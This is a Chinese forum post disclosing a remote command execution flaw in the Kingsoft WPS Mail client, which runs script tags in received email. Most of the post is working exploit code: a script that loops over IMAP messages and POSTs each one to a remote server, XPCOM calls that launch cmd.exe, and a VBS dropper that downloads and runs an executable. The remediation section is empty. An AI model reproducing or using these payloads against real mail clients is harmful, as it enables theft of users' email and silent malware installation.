HanDs
管理员

[7月漏洞公开] 金山WPS Mail邮件客户端远程命令执行漏洞(Mozilla系XUL程序利用技巧) 



最新版2.2.2 2016.03.25 远程命令执行/种马/窃取邮件....
WPS Mail用的是Mozilla的thunderbird内核,还是比较安全,但不知道为何更新了一个版本后抽风了。。。

详细说明:

1.jpg



最新版



但不知道为什么这版抽风了,居然支持script标签,但就只能用script标签执行js,之前的版本是禁止的

1.jpg



既然是thunderbird内核的,有了xss就简单了,但后来发现没那么简单。。

thunderbird的Mail URI是用一个imap和mailbox:伪协议

imap方式接受就会用imap:// Pop方式的就会用mailbox来处理邮件

code 区域
imap://MailServer:Port/fetch>UID>/INBOX>ID/code>
例如qq邮箱的imap就是
<code>imap://**.**.**.**:993/fetch%3EUID%3E/INBOX%3E1



code 区域
mailbox:///C:/Users/用户名/AppData/Roaming/软件名/随即字符串/Mail/**.**.**.**/Inbox?number=ID



imap的利用:遍历ID post到你的远程服务即可

code 区域
var u = 'imap://**.**.**.**:993/fetch>UID>/INBOX>';
for (i=0;i<1000;i++){
url=u+i;
get(url);
}
function get(url){
xhr = new XMLHttpRequest();
xhr.onreadystatechange = function (){
if (xhr.readyState == 4) {
data=xhr.responseText;
post(data)
return data;
} };
xhr.open("GET",url);
xhr.send();
}
function post(data){
xhr = new XMLHttpRequest();
xhr.open("POST","**.**.**.**/test.php");
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send("mail="+data);
}



2.jpg



4.jpg



urldecode后就是邮件的head和body了

而当你不知道对方用的是imap或者pop来配置邮箱时,就要判断。location.href是imap://就是imap,而mailbox:的就是pop的了。理论上只要看location.href就知道了,判断后再遍历ID就OK。

但后来发现wpsmail对当前路径创建了blob对象,使用createObjectURL,从而保护了真实路径。这样我们就无法得知路径去窃取邮件了。

3.jpg



但既然是基于thunderbird开发的,一般都会有一些接口可以利用



在安装目录发现有个app.xpi,XPI就是Mozilla系程序的扩展,包括Firefox,thunderbird啥的。

可以直接解压。

程序的基本功能源码都在里面了。

6.jpg





code 区域
const { Ci, Cu } = require('chrome')

Cu.import('resource:///modules/iteratorUtils.jsm') // for fixIterator

const { MailServices } = require('./MailServices.js')
const { Services } = require('resource://gre/modules/Services.jsm')

const { messenger, accounts, msgWindow, getBestIdentity, getIdentityForServer } = MailServices

const COMPOSE_WINDOW_OPEN_LIMIT = 8

。。。
exports.MailServices = Globals.app.MailServices



在mail/MailCommands.js 找到一个接口

Globals.app.MailServices,看了一些接口的函数也什么用。



于是去遍历了下MailServices object

遍历代码:

code 区域
<script>
allPrpos(Globals.app.MailServices);
function allPrpos(obj) {
var props = "";
for (var p in obj) {
if (typeof(obj[p]) == " function ") {
obj[p]();
} else {
props += p + " = " + obj[p] + "<br>";
}
}
document.write(props);
}
</script>



7.jpg



遍历到Globals.app.MailServices.msgUtils

code 区域
EXPORTED_SYMBOLS = msgHdrToMessageBody,msgHdrToNeckoURL,msgHdrGetTags,msgUriToMsgHdr,msgHdrGetUri,msgHdrFromNeckoUrl,msgHdrSetTags,msgHdrIsDraft,msgHdrIsSent,msgHdrIsArchive,msgHdrIsInbox,msgHdrIsRss,msgHdrIsNntp,msgHdrIsJunk,msgHdrsMarkAsRead,msgHdrsArchive,msgHdrsDelete,getMail3Pane,msgHdrGetHeaders,msgHdrsModifyRaw
Cc = [object nsXPCComponents_Classes]
Ci = [object nsXPCComponents_Interfaces]
Cu = [object nsXPCComponents_Utils]
Cr = [object nsXPCComponents_Results]
nsMsgFolderFlags_SentMail = 512
nsMsgFolderFlags_Drafts = 1024
nsMsgFolderFlags_Archive = 16384
nsMsgFolderFlags_Inbox = 4096
PR_WRONLY = 2
Globals = [object Object]





居然看到了Cc = [object nsXPCComponents_Classes]

Cc和Ci可以创建一个XPCOM Component。

12.jpg



有很多程序都是基于Mozilla系的开源程序进行开发的,而wpsmail就是,并且是基于thunderbird,上面说了。他们的一个特点就是用xul写的,再用Mozilla的xulrunner.exe让程序跑起来。

8.jpg

在wpsmail的目录下可以看到有个xulrunner的目录。



而利用Cc是可以实现xul代码,而firefox的扩展也是用xul写的。

有了Cc就可以像写扩展一样了,实现各种功能。

引用directory_service Component,获取文件路径

code 区域
<script>
var file = Globals.app.MailServices.msgUtils.Cc['@**.**.**.**/file/directory_service;1'].getService(Components.interfaces.nsIProperties).get('ProfLD', Components.interfaces.nsIFile);alert(file.path)
</script>



9.jpg



这样就知道路径了,可以继续上上面的窃取邮件了。但有了Cc的接口还窃取邮件吗,相当于可以在你电脑上写XUL程序了,干什么都行了。



远程命令执行

code 区域
<script>
var file = Globals.app.MailServices.msgUtils.Cc['@**.**.**.**/file/local;1'];
var ac = file.createInstance(Globals.app.MailServices.msgUtils.Ci.nsILocalFile);
ac.initWithPath('c:\\windows\\system32\\cmd.exe')
ac.launch()
</script>

漏洞证明:

10.jpg





也可以写个vbs或者bat下载木马,一番调试后写好了远程下载程序执行的代码

code 区域
var string = 'Set Post = CreateObject("Msxml2.XMLHTTP")'+"\n"+ //定义种马vbs文本
'set wshell = Wscript.CreateObject("Wscript.Shell")'+"\n"+
'Set Shell = CreateObject("Wscript.Shell")'+"\n"+
'Post.Open "GET","**.**.**.**/test.exe",0'+"\n"+
'Post.Send()'+"\n"+
'Set aGet = CreateObject("ADODB.Stream")'+"\n"+
'aGet.Mode = 3'+"\n"+
'aGet.Type = 1'+"\n"+
'aGet.Open()'+"\n"+"\n"+
'aGet.Write(Post.responseBody)'+"\n"+
'aGet.SaveToFile "C:\\temp\\test.exe",2'+"\n"+
'wshell.Run("c:\\temp\\test.exe")'+"\n"; //vbs中用Wscript执行文件
var file1 = Globals.app.MailServices.msgUtils.Cc['@**.**.**.**/file/local;1']; //引用file/local部件
var ac = file1.createInstance(Globals.app.MailServices.msgUtils.Ci.nsILocalFile);
ac.initWithPath('C:\\temp\\temp8.vbs');
ac.create(file1.NORMAL_FILE_TYPE,0600);
var charset = 'UTF-8';
var fileStream = Globals.app.MailServices.msgUtils.Cc['@**.**.**.**/network/file-output-stream;1'];
var ab = fileStream.createInstance(Globals.app.MailServices.msgUtils.Ci.nsIFileOutputStream);
ab.init(ac, 2, 0x200, false);
var converterStream = Globals.app.MailServices.msgUtils.Cc['@**.**.**.**/intl/converter-output-stream;1'];
var aa = converterStream.createInstance(Globals.app.MailServices.msgUtils.Ci.nsIConverterOutputStream);
aa.init(ab, charset, string.length,
Globals.app.MailServices.msgUtils.Ci.nsIConverterInputStream.DEFAULT_REPLACEMENT_CHARACTER);
aa.writeString(string); //写入vbs
aa.close();
ab.close();
ac.initWithPath('C:\\temp\\temp8.vbs')
ac.launch() //执行vbs





引用了三个Component

code 区域
@**.**.**.**/file/local;1 @**.**.**.**/network/file-output-stream;1 @**.**.**.**/intl/converter-output-stream;1



11.jpg



以后遇到基于Mozilla系开发的程序不妨尝试寻找xul的接口,直接引用Component想干什么就干什么了。。

修复方案:


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
金山 W PS M ai l 邮件 客户端 远程 命令 执行 漏洞 ( M oz il la
#1楼
发帖时间:2016-7-6   |   查看数:0   |   回复数:0
游客组
快速回复